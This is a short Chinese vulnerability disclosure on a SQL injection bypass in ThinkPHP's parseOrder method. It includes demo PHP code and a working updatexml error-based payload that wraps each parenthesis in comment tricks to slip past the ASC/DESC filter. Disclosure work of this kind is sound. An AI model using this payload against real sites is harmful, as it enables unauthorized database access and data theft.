漏洞详情:
漏洞文件:./ThinkPHP\Library\Think\Db\Driver.class.php 中的 parseOrder方法:

这也是继上次order方法注入之后的修复手段。
可以看到首先判断是否存在ASC或DESC,正是因为这判断,导致了我们可以引入 ( 等禁止的字符,所以导致了绕过过滤进行注入。
漏洞证明:
漏洞demo代码:
|
1
2
3
4
5
6
|
public
function
orderby()
{
$obj
= M(
'user'
);
$res
=
$obj
->where(
'id=1'
)->order(I(
'id'
))->select();
echo
$obj
->getLastSql();
}
|
利用证明:
Payload:id=updatexml/*,*/(/*%20ASC,*/1,concat/*,*/(/*%20ASC,*/0x7e,user/*,*/(/*%20ASC,*/),0x7e),1)
就是将语句中的所有 ( 替换成 /*,*/(/*%20ASC,*/ 即可绕过过滤进行注入。

